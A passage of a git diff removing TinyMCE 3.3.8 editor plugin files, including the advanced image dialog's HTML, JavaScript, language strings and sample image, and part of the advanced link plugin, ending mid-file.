b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/image.htm deleted file mode 100644 index 79cff3f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/image.htm +++ /dev/null @@ -1,232 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advimage_dlg.dialog_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/validate.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/image.js"></script> - <link href="css/advimage.css" rel="stylesheet" type="text/css" /> -</head> -<body id="advimage" style="display: none"> - <form onsubmit="ImageDialog.insert();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advimage_dlg.tab_general}</a></span></li> - <li id="appearance_tab"><span><a href="javascript:mcTabs.displayTab('appearance_tab','appearance_panel');" onmousedown="return false;">{#advimage_dlg.tab_appearance}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#advimage_dlg.tab_advanced}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#advimage_dlg.general}</legend> - - <table class="properties"> - <tr> - <td class="column1"><label id="srclabel" for="src">{#advimage_dlg.src}</label></td> - <td colspan="2"><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input name="src" type="text" id="src" value="" class="mceFocus" onchange="ImageDialog.showPreviewImage(this.value);" /></td> - <td id="srcbrowsercontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td><label for="src_list">{#advimage_dlg.image_list}</label></td> - <td><select id="src_list" name="src_list" onchange="document.getElementById('src').value=this.options[this.selectedIndex].value;document.getElementById('alt').value=this.options[this.selectedIndex].text;document.getElementById('title').value=this.options[this.selectedIndex].text;ImageDialog.showPreviewImage(this.options[this.selectedIndex].value);"><option value=""></option></select></td> - </tr> - <tr> - <td class="column1"><label id="altlabel" for="alt">{#advimage_dlg.alt}</label></td> - <td colspan="2"><input id="alt" name="alt" type="text" value="" /></td> - </tr> - <tr> - <td class="column1"><label id="titlelabel" for="title">{#advimage_dlg.title}</label></td> - <td colspan="2"><input id="title" name="title" type="text" value="" /></td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#advimage_dlg.preview}</legend> - <div id="prev"></div> - </fieldset> - </div> - - <div id="appearance_panel" class="panel"> - <fieldset> - <legend>{#advimage_dlg.tab_appearance}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label id="alignlabel" for="align">{#advimage_dlg.align}</label></td> - <td><select id="align" name="align" onchange="ImageDialog.updateStyle('align');ImageDialog.changeAppearance();"> - <option value="">{#not_set}</option> - <option value="baseline">{#advimage_dlg.align_baseline}</option> - <option value="top">{#advimage_dlg.align_top}</option> - <option value="middle">{#advimage_dlg.align_middle}</option> - <option value="bottom">{#advimage_dlg.align_bottom}</option> - <option value="text-top">{#advimage_dlg.align_texttop}</option> - <option value="text-bottom">{#advimage_dlg.align_textbottom}</option> - <option value="left">{#advimage_dlg.align_left}</option> - <option value="right">{#advimage_dlg.align_right}</option> - </select> - </td> - <td rowspan="6" valign="top"> - <div class="alignPreview"> - <img id="alignSampleImg" src="img/sample.gif" alt="{#advimage_dlg.example_img}" /> - Lorem ipsum, Dolor sit amet, consectetuer adipiscing loreum ipsum edipiscing elit, sed diam - nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.Loreum ipsum - edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam - erat volutpat. - </div> - </td> - </tr> - - <tr> - <td class="column1"><label id="widthlabel" for="width">{#advimage_dlg.dimensions}</label></td> - <td class="nowrap"> - <input name="width" type="text" id="width" value="" size="5" maxlength="5" class="size" onchange="ImageDialog.changeHeight();" /> x - <input name="height" type="text" id="height" value="" size="5" maxlength="5" class="size" onchange="ImageDialog.changeWidth();" /> px - </td> - </tr> - - <tr> - <td>&nbsp;</td> - <td><table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="constrain" type="checkbox" name="constrain" class="checkbox" /></td> - <td><label id="constrainlabel" for="constrain">{#advimage_dlg.constrain_proportions}</label></td> - </tr> - </table></td> - </tr> - - <tr> - <td class="column1"><label id="vspacelabel" for="vspace">{#advimage_dlg.vspace}</label></td> - <td><input name="vspace" type="text" id="vspace" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('vspace');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('vspace');ImageDialog.changeAppearance();" /> - </td> - </tr> - - <tr> - <td class="column1"><label id="hspacelabel" for="hspace">{#advimage_dlg.hspace}</label></td> - <td><input name="hspace" type="text" id="hspace" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('hspace');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('hspace');ImageDialog.changeAppearance();" /></td> - </tr> - - <tr> - <td class="column1"><label id="borderlabel" for="border">{#advimage_dlg.border}</label></td> - <td><input id="border" name="border" type="text" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('border');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('border');ImageDialog.changeAppearance();" /></td> - </tr> - - <tr> - <td><label for="class_list">{#class_name}</label></td> - <td colspan="2"><select id="class_list" name="class_list" class="mceEditableSelect"><option value=""></option></select></td> - </tr> - - <tr> - <td class="column1"><label id="stylelabel" for="style">{#advimage_dlg.style}</label></td> - <td colspan="2"><input id="style" name="style" type="text" value="" onchange="ImageDialog.changeAppearance();" /></td> - </tr> - - <!-- <tr> - <td class="column1"><label id="classeslabel" for="classes">{#advimage_dlg.classes}</label></td> - <td colspan="2"><input id="classes" name="classes" type="text" value="" onchange="selectByValue(this.form,'classlist',this.value,true);" /></td> - </tr> --> - </table> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <fieldset> - <legend>{#advimage_dlg.swap_image}</legend> - - <input type="checkbox" id="onmousemovecheck" name="onmousemovecheck" class="checkbox" onclick="ImageDialog.setSwapImage(this.checked);" /> - <label id="onmousemovechecklabel" for="onmousemovecheck">{#advimage_dlg.alt_image}</label> - - <table border="0" cellpadding="4" cellspacing="0" width="100%"> - <tr> - <td class="column1"><label id="onmouseoversrclabel" for="onmouseoversrc">{#advimage_dlg.mouseover}</label></td> - <td><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="onmouseoversrc" name="onmouseoversrc" type="text" value="" /></td> - <td id="onmouseoversrccontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td><label for="over_list">{#advimage_dlg.image_list}</label></td> - <td><select id="over_list" name="over_list" onchange="document.getElementById('onmouseoversrc').value=this.options[this.selectedIndex].value;"><option value=""></option></select></td> - </tr> - <tr> - <td class="column1"><label id="onmouseoutsrclabel" for="onmouseoutsrc">{#advimage_dlg.mouseout}</label></td> - <td class="column2"><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="onmouseoutsrc" name="onmouseoutsrc" type="text" value="" /></td> - <td id="onmouseoutsrccontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td><label for="out_list">{#advimage_dlg.image_list}</label></td> - <td><select id="out_list" name="out_list" onchange="document.getElementById('onmouseoutsrc').value=this.options[this.selectedIndex].value;"><option value=""></option></select></td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#advimage_dlg.misc}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label id="idlabel" for="id">{#advimage_dlg.id}</label></td> - <td><input id="id" name="id" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label id="dirlabel" for="dir">{#advimage_dlg.langdir}</label></td> - <td> - <select id="dir" name="dir" onchange="ImageDialog.changeAppearance();"> - <option value="">{#not_set}</option> - <option value="ltr">{#advimage_dlg.ltr}</option> - <option value="rtl">{#advimage_dlg.rtl}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label id="langlabel" for="lang">{#advimage_dlg.langcode}</label></td> - <td> - <input id="lang" name="lang" type="text" value="" /> - </td> - </tr> - - <tr> - <td class="column1"><label id="usemaplabel" for="usemap">{#advimage_dlg.map}</label></td> - <td> - <input id="usemap" name="usemap" type="text" value="" /> - </td> - </tr> - - <tr> - <td class="column1"><label id="longdesclabel" for="longdesc">{#advimage_dlg.long_desc}</label></td> - <td><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="longdesc" name="longdesc" type="text" value="" /></td> - <td id="longdesccontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - </table> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/img/sample.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/img/sample.gif deleted file mode 100644 index 53bf6890b507741c10910c9e2217ad8247b98e8d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1624 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 WE}n@{k&&Vq!n33@nsG^i002Ao7W&ix diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/js/image.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/js/image.js deleted file mode 100644 index 3bda86a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/js/image.js +++ /dev/null @@ -1,443 +0,0 @@ -var ImageDialog = { - preInit : function() { - var url; - - tinyMCEPopup.requireLangPack(); - - if (url = tinyMCEPopup.getParam("external_image_list_url")) - document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); - }, - - init : function(ed) { - var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(); - - tinyMCEPopup.resizeToInnerSize(); - this.fillClassList('class_list'); - this.fillFileList('src_list', 'tinyMCEImageList'); - this.fillFileList('over_list', 'tinyMCEImageList'); - this.fillFileList('out_list', 'tinyMCEImageList'); - TinyMCE_EditableSelects.init(); - - if (n.nodeName == 'IMG') { - nl.src.value = dom.getAttrib(n, 'src'); - nl.width.value = dom.getAttrib(n, 'width'); - nl.height.value = dom.getAttrib(n, 'height'); - nl.alt.value = dom.getAttrib(n, 'alt'); - nl.title.value = dom.getAttrib(n, 'title'); - nl.vspace.value = this.getAttrib(n, 'vspace'); - nl.hspace.value = this.getAttrib(n, 'hspace'); - nl.border.value = this.getAttrib(n, 'border'); - selectByValue(f, 'align', this.getAttrib(n, 'align')); - selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); - nl.style.value = dom.getAttrib(n, 'style'); - nl.id.value = dom.getAttrib(n, 'id'); - nl.dir.value = dom.getAttrib(n, 'dir'); - nl.lang.value = dom.getAttrib(n, 'lang'); - nl.usemap.value = dom.getAttrib(n, 'usemap'); - nl.longdesc.value = dom.getAttrib(n, 'longdesc'); - nl.insert.value = ed.getLang('update'); - - if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) - nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); - - if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) - nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); - - if (ed.settings.inline_styles) { - // Move attribs to styles - if (dom.getAttrib(n, 'align')) - this.updateStyle('align'); - - if (dom.getAttrib(n, 'hspace')) - this.updateStyle('hspace'); - - if (dom.getAttrib(n, 'border')) - this.updateStyle('border'); - - if (dom.getAttrib(n, 'vspace')) - this.updateStyle('vspace'); - } - } - - // Setup browse button - document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); - if (isVisible('srcbrowser')) - document.getElementById('src').style.width = '260px'; - - // Setup browse button - document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); - if (isVisible('overbrowser')) - document.getElementById('onmouseoversrc').style.width = '260px'; - - // Setup browse button - document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); - if (isVisible('outbrowser')) - document.getElementById('onmouseoutsrc').style.width = '260px'; - - // If option enabled default contrain proportions to checked - if (ed.getParam("advimage_constrain_proportions", true)) - f.constrain.checked = true; - - // Check swap image if valid data - if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) - this.setSwapImage(true); - else - this.setSwapImage(false); - - this.changeAppearance(); - this.showPreviewImage(nl.src.value, 1); - }, - - insert : function(file, title) { - var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; - - if (f.src.value === '') { - if (ed.selection.getNode().nodeName == 'IMG') { - ed.dom.remove(ed.selection.getNode()); - ed.execCommand('mceRepaint'); - } - - tinyMCEPopup.close(); - return; - } - - if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { - if (!f.alt.value) { - tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { - if (s) - t.insertAndClose(); - }); - - return; - } - } - - t.insertAndClose(); - }, - - insertAndClose : function() { - var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; - - tinyMCEPopup.restoreSelection(); - - // Fixes crash in Safari - if (tinymce.isWebKit) - ed.getWin().focus(); - - if (!ed.settings.inline_styles) { - args = { - vspace : nl.vspace.value, - hspace : nl.hspace.value, - border : nl.border.value, - align : getSelectValue(f, 'align') - }; - } else { - // Remove deprecated values - args = { - vspace : '', - hspace : '', - border : '', - align : '' - }; - } - - tinymce.extend(args, { - src : nl.src.value, - width : nl.width.value, - height : nl.height.value, - alt : nl.alt.value, - title : nl.title.value, - 'class' : getSelectValue(f, 'class_list'), - style : nl.style.value, - id : nl.id.value, - dir : nl.dir.value, - lang : nl.lang.value, - usemap : nl.usemap.value, - longdesc : nl.longdesc.value - }); - - args.onmouseover = args.onmouseout = ''; - - if (f.onmousemovecheck.checked) { - if (nl.onmouseoversrc.value) - args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; - - if (nl.onmouseoutsrc.value) - args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; - } - - el = ed.selection.getNode(); - - if (el && el.nodeName == 'IMG') { - ed.dom.setAttribs(el, args); - } else { - ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" />', {skip_undo : 1}); - ed.dom.setAttribs('__mce_tmp', args); - ed.dom.setAttrib('__mce_tmp', 'id', ''); - ed.undoManager.add(); - } - - tinyMCEPopup.close(); - }, - - getAttrib : function(e, at) { - var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; - - if (ed.settings.inline_styles) { - switch (at) { - case 'align': - if (v = dom.getStyle(e, 'float')) - return v; - - if (v = dom.getStyle(e, 'vertical-align')) - return v; - - break; - - case 'hspace': - v = dom.getStyle(e, 'margin-left') - v2 = dom.getStyle(e, 'margin-right'); - - if (v && v == v2) - return parseInt(v.replace(/[^0-9]/g, '')); - - break; - - case 'vspace': - v = dom.getStyle(e, 'margin-top') - v2 = dom.getStyle(e, 'margin-bottom'); - if (v && v == v2) - return parseInt(v.replace(/[^0-9]/g, '')); - - break; - - case 'border': - v = 0; - - tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { - sv = dom.getStyle(e, 'border-' + sv + '-width'); - - // False or not the same as prev - if (!sv || (sv != v && v !== 0)) { - v = 0; - return false; - } - - if (sv) - v = sv; - }); - - if (v) - return parseInt(v.replace(/[^0-9]/g, '')); - - break; - } - } - - if (v = dom.getAttrib(e, at)) - return v; - - return ''; - }, - - setSwapImage : function(st) { - var f = document.forms[0]; - - f.onmousemovecheck.checked = st; - setBrowserDisabled('overbrowser', !st); - setBrowserDisabled('outbrowser', !st); - - if (f.over_list) - f.over_list.disabled = !st; - - if (f.out_list) - f.out_list.disabled = !st; - - f.onmouseoversrc.disabled = !st; - f.onmouseoutsrc.disabled = !st; - }, - - fillClassList : function(id) { - var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; - - if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { - cl = []; - - tinymce.each(v.split(';'), function(v) { - var p = v.split('='); - - cl.push({'title' : p[0], 'class' : p[1]}); - }); - } else - cl = tinyMCEPopup.editor.dom.getClasses(); - - if (cl.length > 0) { - lst.options.length = 0; - lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); - - tinymce.each(cl, function(o) { - lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); - }); - } else - dom.remove(dom.getParent(id, 'tr')); - }, - - fillFileList : function(id, l) { - var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; - - l = window[l]; - lst.options.length = 0; - - if (l && l.length > 0) { - lst.options[lst.options.length] = new Option('', ''); - - tinymce.each(l, function(o) { - lst.options[lst.options.length] = new Option(o[0], o[1]); - }); - } else - dom.remove(dom.getParent(id, 'tr')); - }, - - resetImageData : function() { - var f = document.forms[0]; - - f.elements.width.value = f.elements.height.value = ''; - }, - - updateImageData : function(img, st) { - var f = document.forms[0]; - - if (!st) { - f.elements.width.value = img.width; - f.elements.height.value = img.height; - } - - this.preloadImg = img; - }, - - changeAppearance : function() { - var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); - - if (img) { - if (ed.getParam('inline_styles')) { - ed.dom.setAttrib(img, 'style', f.style.value); - } else { - img.align = f.align.value; - img.border = f.border.value; - img.hspace = f.hspace.value; - img.vspace = f.vspace.value; - } - } - }, - - changeHeight : function() { - var f = document.forms[0], tp, t = this; - - if (!f.constrain.checked || !t.preloadImg) { - return; - } - - if (f.width.value == "" || f.height.value == "") - return; - - tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; - f.height.value = tp.toFixed(0); - }, - - changeWidth : function() { - var f = document.forms[0], tp, t = this; - - if (!f.constrain.checked || !t.preloadImg) { - return; - } - - if (f.width.value == "" || f.height.value == "") - return; - - tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; - f.width.value = tp.toFixed(0); - }, - - updateStyle : function(ty) { - var dom = tinyMCEPopup.dom, st, v, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); - - if (tinyMCEPopup.editor.settings.inline_styles) { - // Handle align - if (ty == 'align') { - dom.setStyle(img, 'float', ''); - dom.setStyle(img, 'vertical-align', ''); - - v = getSelectValue(f, 'align'); - if (v) { - if (v == 'left' || v == 'right') - dom.setStyle(img, 'float', v); - else - img.style.verticalAlign = v; - } - } - - // Handle border - if (ty == 'border') { - dom.setStyle(img, 'border', ''); - - v = f.border.value; - if (v || v == '0') { - if (v == '0') - img.style.border = '0'; - else - img.style.border = v + 'px solid black'; - } - } - - // Handle hspace - if (ty == 'hspace') { - dom.setStyle(img, 'marginLeft', ''); - dom.setStyle(img, 'marginRight', ''); - - v = f.hspace.value; - if (v) { - img.style.marginLeft = v + 'px'; - img.style.marginRight = v + 'px'; - } - } - - // Handle vspace - if (ty == 'vspace') { - dom.setStyle(img, 'marginTop', ''); - dom.setStyle(img, 'marginBottom', ''); - - v = f.vspace.value; - if (v) { - img.style.marginTop = v + 'px'; - img.style.marginBottom = v + 'px'; - } - } - - // Merge - dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); - } - }, - - changeMouseMove : function() { - }, - - showPreviewImage : function(u, st) { - if (!u) { - tinyMCEPopup.dom.setHTML('prev', ''); - return; - } - - if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) - this.resetImageData(); - - u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); - - if (!st) - tinyMCEPopup.dom.setHTML('prev', '<img id="previewImg" src="' + u + '" border="0" onload="ImageDialog.updateImageData(this);" onerror="ImageDialog.resetImageData();" />'); - else - tinyMCEPopup.dom.setHTML('prev', '<img id="previewImg" src="' + u + '" border="0" onload="ImageDialog.updateImageData(this, 1);" />'); - } -}; - -ImageDialog.preInit(); -tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/langs/en_dlg.js deleted file mode 100644 index f493d19..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/langs/en_dlg.js +++ /dev/null @@ -1,43 +0,0 @@ -tinyMCE.addI18n('en.advimage_dlg',{ -tab_general:"General", -tab_appearance:"Appearance", -tab_advanced:"Advanced", -general:"General", -title:"Title", -preview:"Preview", -constrain_proportions:"Constrain proportions", -langdir:"Language direction", -langcode:"Language code", -long_desc:"Long description link", -style:"Style", -classes:"Classes", -ltr:"Left to right", -rtl:"Right to left", -id:"Id", -map:"Image map", -swap_image:"Swap image", -alt_image:"Alternative image", -mouseover:"for mouse over", -mouseout:"for mouse out", -misc:"Miscellaneous", -example_img:"Appearance preview image", -missing_alt:"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.", -dialog_title:"Insert/edit image", -src:"Image URL", -alt:"Image description", -list:"Image list", -border:"Border", -dimensions:"Dimensions", -vspace:"Vertical space", -hspace:"Horizontal space", -align:"Alignment", -align_baseline:"Baseline", -align_top:"Top", -align_middle:"Middle", -align_bottom:"Bottom", -align_texttop:"Text top", -align_textbottom:"Text bottom", -align_left:"Left", -align_right:"Right", -image_list:"Image list" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/css/advlink.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/css/advlink.css deleted file mode 100644 index 1436431..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/css/advlink.css +++ /dev/null @@ -1,8 +0,0 @@ -.mceLinkList, .mceAnchorList, #targetlist {width:280px;} -.mceActionPanel {margin-top:7px;} -.panel_wrapper div.current {height:320px;} -#classlist, #title, #href {width:280px;} -#popupurl, #popupname {width:200px;} -#popupwidth, #popupheight, #popupleft, #popuptop {width:30px;vertical-align:middle;text-align:center;} -#id, #style, #classes, #target, #dir, #hreflang, #lang, #charset, #type, #rel, #rev, #tabindex, #accesskey {width:200px;} -#events_panel input {width:200px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin.js deleted file mode 100644 index 983fe5a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.AdvancedLinkPlugin",{init:function(a,b){this.editor=a;a.addCommand("mceAdvLink",function(){var c=a.selection;if(c.isCollapsed()&&!a.dom.getParent(c.getNode(),"A")){return}a.windowManager.open({file:b+"/link.htm",width:480+parseInt(a.getLang("advlink.delta_width",0)),height:400+parseInt(a.getLang("advlink.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("link",{title:"advlink.link_desc",cmd:"mceAdvLink"});a.addShortcut("ctrl+k","advlink.advlink_desc","mceAdvLink");a.onNodeChange.add(function(d,c,f,e){c.setDisabled("link",e&&f.nodeName!="A");c.setActive("link",f.nodeName=="A"&&!f.name)})},getInfo:function(){return{longname:"Advanced link",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlink",tinymce.plugins.AdvancedLinkPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js deleted file mode 100644 index 14e46a7..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js +++ /dev/null @@ -1,61 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.AdvancedLinkPlugin', { - init : function(ed, url) { - this.editor = ed; - - // Register commands - ed.addCommand('mceAdvLink', function() { - var se = ed.selection; - - // No selection and not in link - if (se.isCollapsed() && !ed.dom.getParent(se.getNode(), 'A')) - return; - - ed.windowManager.open({ - file : url + '/link.htm', - width : 480 + parseInt(ed.getLang('advlink.delta_width', 0)), - height : 400 + parseInt(ed.getLang('advlink.delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - // Register buttons - ed.addButton('link', { - title : 'advlink.link_desc', - cmd : 'mceAdvLink' - }); - - ed.addShortcut('ctrl+k', 'advlink.advlink_desc', 